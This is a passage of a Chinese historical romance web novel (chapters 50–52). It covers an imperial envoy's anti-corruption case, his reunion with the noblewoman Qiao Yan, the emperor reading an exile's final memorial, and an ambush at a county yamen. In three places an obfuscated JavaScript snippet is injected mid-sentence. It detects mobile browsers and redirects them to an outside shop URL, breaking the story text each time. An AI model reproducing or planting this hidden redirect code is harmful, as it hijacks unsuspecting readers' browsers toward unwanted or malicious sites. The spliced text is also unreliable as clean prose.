冯矩看出来了,她似乎对他流放的这两年耿耿于怀,她有千言万语想说,又似怕勾起他的伤心事,难以开口。将人往怀里带了带,不让她看到自己的表情,冯矩才带着笑说道:“有束阳陪我,倒也不孤单。” 乔燕脱口而出:“算他做了件好事,等回去后,定要好好赏他。” 话音未落,她幡然醒悟,室内气氛一窒。环在肩头的手臂似乎僵了一瞬,冯矩温和地道:“都好。” 乔燕急道:“我……”可待张口,又不知该说什么。她脑子乱成一团,那边,冯矩等了一会,没等来只言片语,于是将她放下,看看天色,无奈道:“时辰不早了,我还要去衙门,你再歇会儿。” 温存这许久,外面天色已经大亮,乔燕知道该放他走了,可手却仿佛有自己的意志,在他起身之际,一把拽住了衣角。 最后的失言,让她心里惶惶不安。 冯矩道:“还有什么话,等晚上再说不迟。” 乔燕愣愣地,“……你今夜还来?我,我以为……” 以为昨夜不过是理智崩盘的放纵,一晌贪欢,等到天明,梦也就散了。 “现在可以放我去衙门了么?” 乔燕乖巧地点了点头,手却仍旧紧握不放。 冯矩眉头微蹙,似乎有些苦恼,想了想又退一步:“你想去,就一起去。” 乔燕再次目瞪口呆。 睡了一觉,冯矩在她面前好像没了底线。 乔五娘惯会蹬鼻子上脸,眼珠子一转,分明极为心动了,却还期期艾艾:“可是……圣上是不是派了锦衣卫跟着你……我带上幕篱吧……” 虽没有亲眼见,她也能猜个一二,冯矩手下无人,皇帝定会拨两个副手相助。 冯矩格外气定神闲,说道:“无妨,你不想戴,就不戴。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116332|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 县衙角门处,黄胜带着黄家父女向秋淼辞别。 黄父颤巍巍地拱手,他臀部带伤,腰也难以挺直,短短三日,似老了十岁。 “本来是要向冯大人亲口谢别的,可是已经这个时辰了,冯大人迟迟不露面,恐怕有要事在身。” 听到此处,秋淼露出个古怪的神情。 黄父继续道:“按理说冯大人如此深恩,小民再等下去也是该的,只是我儿要早些回家,入土为安,他娘还在家里等着见他最后一面。”黄父少时也上过几年私塾,说起话来文绉绉的,动情处忍不住抬手抹了把眼泪。 在他身侧停着租来的马车——车行听说要借宿死人,嫌晦气,本不肯租,是秋淼见黄父愁眉苦脸地回来,多问了一嘴,派了个手下带着绣春刀去,没多时就带回一辆光鲜亮丽的马车。 黄喜娘沉默地跟在黄父身边,听到他说的话,忍不住朝车厢里痴望。 那里躺着她的二哥。 大哥从军的时候她才五岁,尚不记事,爹娘挑着家里的大梁,每日早出晚归,忙碌不休。是二哥亲手把她带大。 那时候的二哥也还是个半大少年,她又皮实,一个不留神就不知道跑去了哪个旮旯,每回都要少年好一通找,有时候找得急了,二哥会毫不留情地把她摁在膝盖上打屁股。 小时候,二哥是她最怕的人。 有一回爹听说邻村有个老木匠在找学徒,好一番托请,老木匠收下二哥。少年去学了半个月,回家探亲时正好遇上她蹲在河边玩泥巴。河边一个大人都没有。那年河水水位低,岸高两尺,巴掌大的女娃掉下去就爬不上来了。 二哥没有打她屁股,拽着她回了家。那是她第一次见二哥对爹娘发这么大的火,后来二哥就没有再出去过。他为了一个赔钱的妹子,留在了家里。 她也听爹叹气:“家里田有爹娘种,税越收越多,遇上荒年难能吃饱,你出去学门手艺,也好多条路走,喜娘爹娘会顾好的。” 少年眉眼坚定,振振有词:“不做木匠,我也能寻摸到其他出路,春天挑野菜,夏天打猎,冬天卖柴,喜娘也是我们家人,一家人在一处,才有盼头。” 二哥十六岁的时候,托媒人介绍了个姑娘,同修共好。二嫂性格和顺,她第一次见二哥也会柔声细语地讲话。 可惜好景不长,当年冬天二嫂就得了急症去了。二哥沉寂许久,又顽强地撑起了家,媒人再来,均被他客客气气地请了回去。爹娘着急,私下里劝他,他极有主意:“家里不富裕,连个看病吃药的钱都得挤,何必耽误了好人家的姑娘,且等过两年家境好些,再娶妻不迟。” 那时候她已经懂事了,可以帮着家里做些家务,从那之后,二哥更努力地赚钱,农闲时候就去城里帮人做短工,家里果然如他所承诺,渐渐有了余钱。 再然后,爹娘救回一个女子,二哥真真切切地动了心。 她以为,一切都在变好,变得蒸蒸日上,可没想到争过了天灾,却争不过人祸,县官家里拐了弯的亲戚,也能轻飘飘地让升斗小民家破人亡。 她的二哥,家里行二,族里也排二,人人都喊一声“黄二”,好像已经少有人记得,他刚出生的时候,爹曾揣着一篮鸡蛋请城里的秀才取了个大名:黄永年。盼他健康长寿,德业长存。 “……喜娘,走了。带老二家去了。” 黄喜娘擦着眼睛,闷头走了两步,准备爬上马车。这时黄父动作一顿,朝路上看去,激动地道:“是冯大人,冯青天来了。” 50. 人性 远远的,就看到冯矩牵着一骑缓缓走来,马上坐着一位窈窕女人。 门前几人或多或少都露出了白日见鬼的神情,尤其是黄喜娘,甚至下意识看了眼天,好似在怀疑自己做梦。 “高姐姐?” 等到了近前,冯矩勒停马儿,横举小臂,马上的女人搭住,优雅又轻盈地跃下。 外人面前,他们默契地保持住了分寸。 “高姐姐……真的是你?”喜娘向前走了一步,惊疑的目光在两人之间穿梭,“你,你们……” 秋淼充耳不闻,视而不见,一味地牵过马,往衙内去了。 冯矩微笑:“在下恰好在城门外遇上高夫人,高夫人租的牛车车辙坏了,托我捎她一程。二位这是打算回去了么?要不要再休养两天。” “不用了,我儿要快些回去,入土为安。这回若没有冯大人您,草民和小女怕都是凶多吉少。”黄父颤巍巍地跪下,磕了个头,“救命之恩,没齿难忘,却无以回报,小民实在惶恐,请大人受我一拜。” 黄喜娘跟着拜倒在地。 “快快请起,”冯矩拱手遥敬北方,“此举非我之功,乃圣上体恤百姓,遣我来此纠察是非,二位若要谢,须得谢圣上隆恩。” 黄父果然领着女儿朝北边磕了三个响头。 乔燕走到喜娘身边,心疼地看着她的手,正要执起,黄喜娘却是一避。 乔燕愣住,抬头,只见小姑娘用一种奇怪的眼神看着她。 “高夫人还和我们回去么?” 乔燕心里一窒,一时不知要如何答话,她原本想回的,可现在突然觉得,黄家庄或许已非容身之地。 却听冯矩突兀地开口:“我与夫人乃是旧时,欲要送她寻亲,就不回去了。” 听到冯矩这么说,乔燕莫名轻松了些许,轻声道:“喜娘……” 黄喜娘低下头,不再看她。 黄父看到了这一幕,叹了口气,没有说什么,自带着一双儿女离去了。乔燕注视着马车的背影,回想起方才喜娘看她的眼神,心里堵得慌。 冯矩陪她站了会儿,直到乔燕自己平复过来,才一前一后进了县衙角门。 冯矩先将乔燕在后院安顿下来,嘱咐厨房下了两碗面条,坐在一处吃过,独自去了前衙。 “你是不是疯了!” 秋淼遣散了其余的衙役和锦衣卫,一个人在花厅前的天井里踱步,一见到冯矩,他就大步走上前,压低声音疾言厉色。 “我没疯。” 冯矩掠过他。秋淼顿了顿,跟了上去:“你怎么敢把她带过来?你们在村子里,在别的地方,怎么样都行,我可以假装不知道,但你把人都带了过来,这是要我帮你欺君?我可不敢!” “你该怎么做就怎么做,”冯矩道,“圣上早就知道她在这里。” 秋淼如遭雷击:“……什么?” 昨天冯矩向黄喜娘打听乔燕的事,便觉得蹊跷,乔燕的绣品哪怕再巧夺天工,也不至于每次都以那么高的价格被商户收购,听喜娘说,有一回雨天,路上翻了车,绣帕都浸了泥水,绣庄的人也毫不介意地以每张五两的价格收下了。 冯矩走了趟绣庄,威逼利诱之下打探到,原来曾有个面白无须的富商许以重金,要他们每个月都以高价收下黄二郎带去的绣品。 冯矩不再作声,安静地走进花厅,秋淼一会儿想“圣上为什么要对太妃这样”,一会儿想“冯矩这又是作的哪门子死”,好容易才从乱成一团的思绪里抽出一根线,追上去,“那你们,你怎么敢……你就不怕……” “圣上正是用我的时候,淮党不除,不会在这时候动我。” “那之后呢?” 之后?冯矩不由一哂。他早已是该死之人,等此案了结,是去是留,但听君令。 秋淼在他的神情里慢慢噤了声,烦躁地灌了口茶,欲言又止。 冯矩猜到他想问什么。忍不住在心里盘算:正是多事之秋,等淮党一除,朝堂更无可用之人。乔广文官居户部尚书,加衔建极殿大学士,为内阁次辅,儒林榜首。乔湛任礼部仪制郎中,乃清流砥柱。皇帝没有证据,不敢动她。 再三思虑,确无疏漏,他才放下心来。 “章承那里可有审出什么?” “他嘴硬得很。”看出冯矩故意转移话题,秋淼抓了抓头,索性也不管了,道:“我听你的把县衙的文吏全部抓了起来,但是什么都没有问到,搜遍整个衙门,也没找到什么东西。” “彭县之后,他们谨慎了许多,找不到东西才是正常。等过了今日,放出消息,就说章承招了,放他回家。我再拟一份奏报,你亲自带人送往京师。” “那你一个人在这……”秋淼说到一半,明白过来,“你要请君入瓮。” “束阳上回来信,已经到了江都县,乔装在那里最大的盐庄做了账房先生,托天灾的福,到处是投奔亲戚的人,城里一半人都眼生,盐庄的人没起疑,我写一封信,你着暗桩替我传给他。还有谯县亳王府,那里也要互通有无。” 说着,冯矩一顿,自咎:“不可这么说,‘托天灾的福’,是我糊涂了。” 二人商谈到正午,出门时才发现不知何时下起了大雪,北风卷起雪花扑面而来,秋淼打了个寒颤,抱住手臂直搓。 “好冷。也不知为何,这些年格外的冷,路上我就注意到了,十里八乡的树都要砍光了,这雪一下,没有足够的柴火,年不好过啊。” “确实冷,不知又要冻死多少人。库房有多少余粮?年前搭个粥棚,接济一下百姓们,”冯矩双手束进袖子,微微仰头,“南地本来冬天也能种地,但是这两年这么冷,田里的种子都要被冻死。瑞雪兆丰年,未必是坏事。” “看不出来,冯大人还颇通农事啊。嘶,不知道今天中午厨房烧了什么,我那里还有一壶酒,从章承屋子里翻出来的好酒,天这么冷,要不拿出来喝了吧。” 秋淼嘴里不停,小跑出去。冯矩摇摇头,噙笑跟了上去。 昨夜几乎没有睡几个时辰,乔燕在衙门后院安置下来后,便酣眠至隅中,醒后自己穿好衣服,出了门,只见天上飘着鹅毛大的雪花,地上已经积了薄薄一层。 此刻后院空无一人,连仆役都见不到,只是她却并无慌乱,踩着薄雪,信步朝着月门走去。 她的心情十分宁静。那是一种圆满至餍足的感觉。好似此时此刻,此地此际,此情此景,无一不合心意,无一不圆满。 刚积的雪踩上去松而软,每一脚都令人心情舒畅,天空的灰蒙也恰到好处,泛着柔和的光彩。她的身后留下一串雀跃的脚印,宛如回到了十年前。 十年前的淮南还没有这么冷,冬天从不下雪,姑苏也没有雪,她去到北京后,第一次见到雪,到处银装素裹,天地一白,令人心醉。 豆蔻年华的她跑出了屋檐,在院子里留下一串脚印,与今日一样。 走到月门处时,外面也走来一人,他们打了照面,乔燕的唇角止不住地上扬——只觉得今日的一切实在是太完美了。 “二郎!” 她高兴得得意忘形了,竟不惧隔墙有耳,喊出了少年时代的昵称。 而冯矩也纵容着未曾纠正。他撑开手里提着的伞,举过乔燕头顶。 “厨房已经备好饭菜,李嫂说来叫过你一次,你还在睡,不敢打搅你,我便来看看。” 乔燕翘着嘴角:“方才确实在睡,才醒过来,许久没睡这么舒坦了。” 章承为了享受,在后院腾了间屋子,专门布置一番,用于吃饭喝酒。冯矩为乔燕掀着棉布做的门帘,乔燕一头扎进去,只觉热浪袭来,仿佛进了暖房里。 “好暖和!” “这屋子下头挖空了烧炭,做成了暖阁。”屋子里有人道。 乔燕下意识收了脸上太过灿烂的笑,端肃身形,眼睫一垂,朝那人看去。只见是个约莫三十多的男人,曾在县衙外见过,蓄着短须,屋子里太热,他只穿着圆领衫,领口的扣子却没有系,剥着花生,看起来吊儿郎当没个正行……他的手边摆着绣春刀。 乔燕心里一惊,手脚陡然凉下来,下意识朝冯矩看去。 冯矩轻轻握住她的肩膀,将她向桌边带了带。 那人似乎翻了个白眼,朝嘴里扔了粒花生米,然后说道:“在下秋淼,三水淼,字仲蝉。这位,呃,这位夫人,唤我名字就好。” 他权当什么都不知道,不知便可装作无畏,日后东窗事发也能给自己脱罪。正好,他也烦在大人物面前装模作样。 屋子里没有椅子,只有矮桌和软垫。冯矩引乔燕在靠墙的一侧坐下,自己坐在风口处,介绍道:“这位秋大人是锦衣卫百户,受圣命来助我办案。他这个人没什么规矩,有时候浑了点,但是心地很好。” 不知是不是难得听人这么真心实意地一夸,秋淼剥花生的动作慢了两息,清了清嗓子,罕见的没有作声。 冯矩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116333|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又颇为认真地给秋淼介绍:“这位高夫人是我旧识,不可唐突。” 秋淼把手里的花生米扔进他碗里,有心想回敬两句,但竟难以开口,最终只得忍气吞声,默默排开酒杯,取过温在炉上的酒壶,各甄了半杯,等到第三杯时,询问地看向冯矩。 冯矩将其中一个倒了酒的杯子推给乔燕,“尝尝?天冷,喝点可以暖暖身子。” 秋淼竖起眉毛。 乔燕接过酒杯,笑道:“无妨,我酒量尚可。” 语罢,先抿了一口,立马认了出来:“花曲酒。” 秋淼敬佩地瞪大眼睛。 不同于仿佛变成哑巴的秋淼,冯矩十分自若,捏着最后一个空杯,给自己倒了个底,品了一口,叹服:“入口温润甘甜,回味绵长,我却是没喝过,头一回喝。” “这酒性温,后劲也不大,江南喝得多,小时候我还曾跟着姨娘酿过,只是爹是淮北的口味,喝不惯这酒,后来家里就没怎么见过了。” “那你今日可以多喝点。” 冯矩说着,又给她倒了半杯。 乔燕看着秋淼,奇道:“初见时还以为这位大人是个豪迈狂放之人,果然不能以貌取人,大人好生腼腆。” 秋淼一口酒憋在喉咙,好容易忍住没呛着。 冯矩微微笑:“秋大人性格确实木讷寡言。” 木讷寡言秋大人一张脸涨成猪肝色,咬牙切齿:“冯子规……你……”满腹粗鄙之言没有一句能出口的,“你”了半天,他也只憋出一句“莫再编排我”。 乔燕:“可是我在这里,让秋大人不自在了?” “不碍事,他本来就是这个性子,”冯矩道,“空腹喝两口暖暖身子还行,喝多了伤身,吃点菜吧。” 秋淼闷闷道:“是,我本来就如此,夫人不必介怀。” 酒过三巡,冯矩问乔燕:“你下午要做什么?” “我想做什么都行么?” “你要是想出去玩,我陪你。” 乔燕心生狐疑。自昨天见面后,冯矩就常用“你想做……就做……”的句式与她说话。这实在……不对劲,就好像在补偿什么。明明他什么都不欠。可又令她心花怒放,忍不住一步步去试探他的底线。 “你没有公务吗?” 冯矩旁若无人:“忙得过来。” 秋淼嘴角一抽,自个儿倒了杯酒下肚。 “算了吧,你去忙你的,误了事可不好,”乔燕有些不好意思,咳了一声,低声道,“如今我已经很知足了。” 冯矩微侧头,看她,思忖着问:“你心里有事。你想回黄家庄吗?” “本来是想回去的,但是……今日你都那般说了,我还是不回去了罢。” “怪我说错了话。” 乔燕忙摇头:“我知道,你是为了我。我本也回不去了,从前也就黄大一家与我熟稔,但是今日喜娘……我不知道她怎么了,可能因为黄二郎吧,黄二郎从前最是疼她,我想安慰她,但她看我那一眼,我就忽然知道,我不能回去了……” 人性复杂。 当喜娘看到她完好无损,看到她光鲜亮丽,看到她与故旧相认,那一刻,昔日撒娇卖乖的小姑娘看她的眼神让她胆寒。 也许易地而处,乔燕也没有办法端正心态。她谅解她,可怜她,那只是一个还没有长大的小姑娘,灾祸让她过早地体会到了命运的无常,时间却还没有教会她安之若素,她将在漫长的苦难里学会成长……但我心匪石,乔燕还是难以遏制地被那双眼睛刺痛了。 冯矩安静地听着,末了,给她倒了杯新酒,一笑:“不如意事,十常八九。我也花了很长时间才想明白。盈虚有数,唯有知其不可奈何,不如斗酒娱乐。” 他从未露出这样的神情,似自哂又似慷慨,似在力竭处掀开心事一角,最沉郁顿挫又最豁然自达,平平几语,便令闻者心神震荡。 他在用他的伤痛去安抚她的挫折。 乔燕猛地抓住他执壶的手。 一旁,秋淼假装自己是个瞎子,闭上眼,许是酒意烘托,他击箸作拍,轻声哼唱起来:“想人生,百岁几何?饶是天公,难挽流梭。朝也干戈,暮也干戈,捱不过日月如梭,暗里消磨。信蹉跎世人,看便似风魔,叹富贵如披麻救火,白甚张罗……” 席间一片寂寥,唱完曲,秋淼忧郁地叹了口气:“冯大钦差,我还是得说,要事在身,您老就算豁出去想及时行乐,也得往旁边挪挪。” 51. 只只 京师。 今年算是太平年——外无敌夷相扰,内无激民群愤,虽然黄河发了一场大水,但钦差左督查御史治水有功,总算没有造成大患。 今年是慜帝的大祥之年,“事死如事生”,于是百姓相传,一切乃慜帝在天之功,才止祸于始,庇佑万民。 在殡天两年后,齐慜帝得了些许民心。 少有的,除夕这晚,一向勤俭节约的今上举办了格外隆重的宫宴。民间取消了宵禁。稍晚,启正皇帝甚至登上城门,与民共同守夜跨年。烟花一直放到子时方罢,宝马香车,火树银花,彩灯将朱雀大街照得亮如白昼。许是受到天子之威的震慑,洋洋洒洒两日夜的大雪在这晚停住了。 京师陷入了喜气洋洋里,一切显得那样繁荣昌盛。 烟花还未结束,百姓仍在狂欢时,皇帝李稷悄悄地回了皇宫。 他这一夜疲倦极了,明明知道国库赤字多年,内帑入不敷出,还要压下一切,粉饰太平,他立在城门上与民共庆,心里却在冷眼旁观。回到宫的路上,他身形微垮,全靠御辇的靠背支撑,此时此刻,只想能万事皆休地睡上一觉。 一拐入通往承乾宫的甬道,随侍御辇的唐直抒便看到了远处承乾门下站着的人影。人影的身边恰好竖着一柄庭灯,灯光照亮了宫人堆在墙角的积雪,还有他正红色的官服与帽下露出的白发。老臣的头顶是明黄的琉璃瓦,在月光雪光与灯光下幽幽发光。他负着手,不言语地抬头望天,当听到动静后,眼神方转过来,有条不紊地理了理袖子,跪地行礼。 “圣上,前面有人。好像是元辅,温阁老。”唐直抒说道。 从前束继文还在时,温却疾任次辅,一直圆融内敛,鲜少出头。束继文去后,朝廷上有不少人担心他过于中庸,难当大任,他却当仁不让地挑起了大梁,撑住了儒林的半壁江山。 毕生风雨走过,今年的温阁老,有杖国之年了吧。唐直抒想到。就在刚刚,这位老大人抬着头,身影那样孤寂,他会在看什么?想什么? 李稷瞬间坐直了身子,在轿子上抬起右手,唐直抒横出拂尘,拦停抬轿的太监。 “近前说话。”李稷说。声音不大,隔着北风,那头的温却疾没有听到。 唐直抒小跑两步传话:“元辅大人,圣上让您平身,近前说话。” 温却疾依言行事。 皇帝威严地注视着他:“这么晚了,安臣不在家里守岁,跑到后宫做什么?” 温却疾从袖袋里取出一奏章,躬身,将其高举过头顶。 “圣上,老臣冒夜入宫,来送这个。” “这是什么?什么事等不到明天再说?” “回圣上,这是昨天从宁古塔送来的奏本。臣捂一刻,便负疚一刻,捂一天,便负疚一天,实在坐立难安,最后只能连夜而来,望圣上恕罪。” “宁古塔?建州女真的贺表?不不……这是谁的奏本?” “何舂。” 年轻的皇帝伸出去的手蓦的一顿,他像是意识到了什么,缓缓地缩了回去。 李稷没有再开口,温却疾也没有说话,死寂在这对君臣间弥漫开来。也不知过了多久,御辇里,华盖下,忽然传来一阵撕心裂肺的咳嗽,似有极淡的铁锈味自风中飘来。 太监唐直抒吓得魂飞魄散,慌忙对温首辅说道:“元辅大人,圣上披肝沥胆,宵衣旰食,已经半个月没睡过囫囵觉了,您有什么事还是明日再说吧!” 温却疾怎会理睬他一个阉人。 唐直抒只得跪地,哀哀道:“圣上!龙体要紧啊!” “……接过来罢。” 唐直抒“哎”了一声,站起来,自温却疾头顶接过那本薄薄的奏章,递进御辇里,皇帝却不接,只道:“安臣请回吧。” 温却疾磕了个头。 “朕会看的。元辅私闯后宫,事出有因,这罪今夜朕就不追究了,回去吧。” 启正皇帝又咳了两声,无言地抬了抬手,御辇平稳地从跪地的首辅身边走过,没入了森严的殿宇中。 洗漱完毕,李稷挥退下人,赤足批发,来到御案前。 他先用铜挑子将烛光挑亮,然后想整理一下桌面,可惜这儿天天有奴婢收拾,实在没有动手的地方,他只能看着整洁的桌面,坐着发了一会儿呆,才展开奏章。 “罪臣何舂谨叩圣主陛下……” 李稷猛地合起手里的纸页,闭上眼,面色惨白,额角渗出些许汗液。过了一会了,他重新睁开眼,眼神幽冷坚定。 “罪臣何舂谨叩圣主陛下: 臣自束发受书,即慕圣贤之道。后以凡质,忝列朝班。蒙先帝圣恩,仰先辈之绝学,攥典章于兰台,继弘道以千秋。今卧冰榻,犹见金陵春色,乃悟岁月之迅,竟较融霜化水尤疾。忆昔玉阶奉笏,常怀报效之志,岂料倏忽之间,便化塞外枯骨。每借古人诗词,疏胸中块垒。竟使十年寒窗、半生襟抱,俱付与北风呜呼。 冻骨将销,残魂南望。愿化塞雁,岁岁归朝。臣命如雪泥,消散有时,而忠君一念,固如北斗。惟念妻弱子幼,无人相顾,伏惟圣心垂悯。臣当结草衔环,永望南天。临表哽咽,辞不尽意。 罪臣顿首绝笔。 启正三年腊月初三于宁古塔。” “咳咳,咳咳咳……唐直抒。唐直抒!” 中年太监步履匆忙地跑了进来,心神不宁,还在门槛上绊了一跤。 “圣上,奴婢在。” “宣崔院判。”李稷坐在椅子上,嘴唇发紫,脸色苍白。顿了片刻,奴婢已经摸到门边了,他又加了句,“你亲自去,莫声张。还有,此行不许记入诊书脉案。” …… 除夕此夜,留守赣榆县县衙的帮工衙门内外略微装扮一番——檐下挂红灯笼,门上贴对联,年味便有了。 乔燕帮厨娘李嫂端上一盆卤肉,还要回厨房帮忙,被李嫂一把摁在椅子上:“菜都上齐了,厨房里没甚活计,高夫人您啊先入席,听说您能喝酒,小的且去温两壶酒来。” 自抓了章承后,秋淼将县衙上下好一番清理,与章承有关的人俱关押起来,如此一来,普通的衙役见这阵仗,陆续几日都有人递交辞呈,最终,除夕这天只剩了三名捕快和几个仆从帮工。 这几日,乔燕与他们基本熟悉了,至少碰了面能叫得上来。更别说乔燕生得貌美,说话轻柔,待人有礼,没两日衙门里的人都喜欢上了她。 既是除夕,冯矩作主,让衙门里留下来的人,不分主仆,凑了一桌。李嫂兴奋不已,磨刀霍霍,一整天在厨房里挥斥方遒,做了一桌好菜。 再来两壶好酒,神仙也不换。 只是可惜,秋淼押送章承一干人犯回京,一去十日,至今未回——恐怕在京中过年了。 这一晚上,又是行酒令又是投壶看灯,乔燕从未有过的开心。她好像回到了十岁前,没有规矩不讲尊卑。人就是人,是大人小孩,高的胖的矮的瘦的,普通的人,玩在一处,笑成一团,直到一个本地的帮工嚷嚷着要回家守岁,才散席。 出了暖房,北风扑面而来,人的心还是火热的。冯矩跟在乔燕身后,不知道打哪儿摸出一副簇新的兔毛耳暖,给她戴上。 乔燕摸了摸柔软的兔毛,憨态可掬地问:“这是什么?” “新年礼物。” 乔燕瞪大眼:“遭了!我没有给你备礼物!” 冯矩掰过她的脸,在她嘴上轻轻吻了一下,“这下有了。” 乔燕的脸滚烫,不是害羞,而是喝酒喝的。她吓得“蹬蹬”后退两步,捂住嘴,四下张望,眼里满是惊慌失措,分外可爱。 太可爱了……冯矩实在是没有不笑的理由:“没有人了,他们早就走了。我送你回房间,只只。” 乔燕木愣愣地,一牵就走。 “你,你刚喊我什么?” “很久之前,我听你四哥说的,你有个乳名,‘只只’,在江南有些方言里,是小雀的意思。” 乔燕眼睛突然红了,泪珠子一颗颗地滚下脸颊。 冯矩慌了,连忙用衣袖帮她擦眼泪,“怎么了这是……我不叫了,你别哭了。我再也不叫了,好不好。” 眼泪越擦越多,乔燕哭得上气不接下气:“阿娘走后,再,再也没人喊过我,喊过我这个名字了。” 冯矩一下子便知,她口中的“阿娘”不是乔二夫人,而是乔府的姨娘。她去到乔府后,多了一个“母亲”和一个“姨娘”,再也没有“阿娘”。这么多年,“阿娘”只能藏在心里,等到喝了酒,才能借着醉意思念片刻。 “冯子规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116334|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”乔燕一把擦干净眼泪,突然大声宣布,“我好喜欢你!我很久之前,就好喜欢你了,我好想嫁给你!” 这一番醉醺醺的表白,吓得冯矩心脏都要跳出来,下意识环顾四周。 “别看了,人都走了……”乔燕喃喃地贴近他,踮脚亲了过去。 可她实在高估醉酒之人的平衡,这一下不仅没亲到,整个人往前扑倒,冯矩手忙脚乱地捞住她,将人环在怀里,实在哭笑不得。 好在房间已经近在眼前。 乔燕眼皮开始黏合,像是找到靠山一样,整个人都赖在了他的身上。他索性将人打横抱回了房间,放到床上。 厨房的李嫂也回家守岁了,不过她走之前煮了一锅醒酒汤。冯矩舀了一碗,再回到房间时,乔燕已经沉沉睡去,唇角微翘,如坠美梦,怎么都叫不醒。 “……罢了,睡着也好。” 冯矩凝望了片刻,放下碗,给她盖好被子,拨旺火盆,吹熄蜡烛,掩门而出。 对有些人来说,这注定是个不眠之夜。 赣榆县有个不成文的习俗,除夕这夜,一县之长要在县衙前厅点火守岁,百姓们会来跨火盆,在父母官的祝福下烧去往年霉运,迎来新的一年。 今年县衙的长官被一网打尽,当初这事做得雷厉风行,还有许多百姓不知情,此刻就围在县衙外头等着。冯矩怎好让他们苦等,只好打开大门,在留下来的两个仆从的帮助下点了一个火盆。仆从往里面扔了一把秸秆,火苗顿时蹿出三丈高。“哦——!!好!!”百姓一阵喝彩。 “大人!这位大人老爷!” 人群中挤出一个头发花白的阿婆,她穿着打补丁的衣服,手臂上挎着竹篮,篮子上盖着红布,里头鼓鼓囊囊不知道放了什么。 她好不容易挤到人群前头,却不跨火盆,反而凑到冯矩跟前,睁着昏花老眼,似乎想辨认一番。 “这位大娘,怎么了?” 人声嘈杂,阿婆扯着嗓门喊:“哎唷,您不是县令大老爷啊!” “我不是。您有什么事吗,我可以做主。” “我,我找薛师爷!等了好几天没等到他。”阿婆乐呵呵的,褪下胳膊上的篮子一把塞到冯矩手里,“他借老婆子我的钱可救了我孙子大命啦!那小子再过两天就完全好了,到时候我领他来给薛师爷磕头!大人啊,您认识薛师爷吧,那可是个大好人啊,街上多少乡亲都受过先生的恩,这一篮子鸡蛋是我们凑的,帮我捎给他,我就不带回去了,怪沉的。” 冯矩猝不及防地被塞了一篮子鸡蛋,心似也被砸了一下。他欲言又止。 就在这时!说时迟,那时快,一道寒芒劈了过来! “当心!” 数十个蒙面人从墙头,从屋顶,从人群里骤然出现。 人群哄然炸响,乱成一团,不知谁踢翻了火盆,撩到了谁的衣摆,那人吓得在地上打滚,才把火苗压下去,却见好几条腿踩了上来。 “啊——!!!” 电光火石间,冯矩将阿婆一推,手臂将好露在刀风之下。持刀的蒙面人冷笑一声,眼里爆发出得意之色。 避无可避之时,眼见手臂不保,刀下的冯钦差却冷眼把他看着,不见丝毫惧色。 蒙面人对上他的眼睛,心里一动,一瞬念头闪过…… 铛! 一柄细长的唐刀横空而出,将长刀稳稳拦住。与此同时,一群身穿粗布短打的人跟着涌出,与蒙面人战作一团。这突然出现救下冯矩的人戴着斗笠,蒙面人冷哼一声:“哪来的鼠辈,缩头缩尾,吃我一刀!” 斗笠人大叫:“大哥,你哪来的脸说我。”手上却丝毫不停,挡下一招,刀锋一挑,转守为攻。 蒙面人应得吃力,喝了一声,顿时有两个弟兄跳出战圈,挥刀助他。斗笠人打一个轻松,打两个勉强可以应付,打三个却是应接不暇,立马落了下风。他眼观六路耳听八方,生怕漏了一招人头落地。只听得耳后呼啸风声,他一低头,斗笠被刀尖挑落,露出一张吊儿郎当的脸。 “锦衣卫?”蒙面人眼神大变,手下失了章法,“你们不是押送章承回京了?!” 秋淼冲他阴森森一笑,抓住机会,一刀捅进他的肩膀:“哦,这个啊,说来话长。且等到大牢里老子和你细细道来。” 52. 赶路 十二天前。腊月十八。秋淼亲自押送章承回京。因要赶在年前入京,一路上走得很急,几乎都是夜深了才找地方歇下,若是过了馆驿,就随便找个农家借住一晚,亦或是露宿野外,虽说生了篝火,但还是把没有习过武的人犯冻得够呛。 走了四五天,章承去掉半条命。 一日抵达驿站时是申时,天将将擦黑,却还有一些光亮。眼见秋淼下令继续赶路,章承实在是受不了了,抓着机会对秋淼道:“再走下去,我怕是挨不到京师。” 秋淼无动于衷,章承看他模样,心中惴惴不安,心道自己还没招供什么,这群锦衣卫怎么一点儿都不在意他的死活?莫非……薛明招了?他的事薛明确实都是知道的。自进大牢后就没见过薛明了……这可真要命。 他压下心里的焦虑,又道:“这儿乃两州交界,过了这个驿站,前头几十里没有一户人家,你们又不掩藏行迹,就不怕有人劫道?” 秋淼讥诮地看着他,一句话都懒得说,拔步便走。 “等,等等!” 章承真的慌了,一是为这个锦衣卫头子不明所以的态度,二是怕这么夜宿荒地下去,自己真的要冻死。 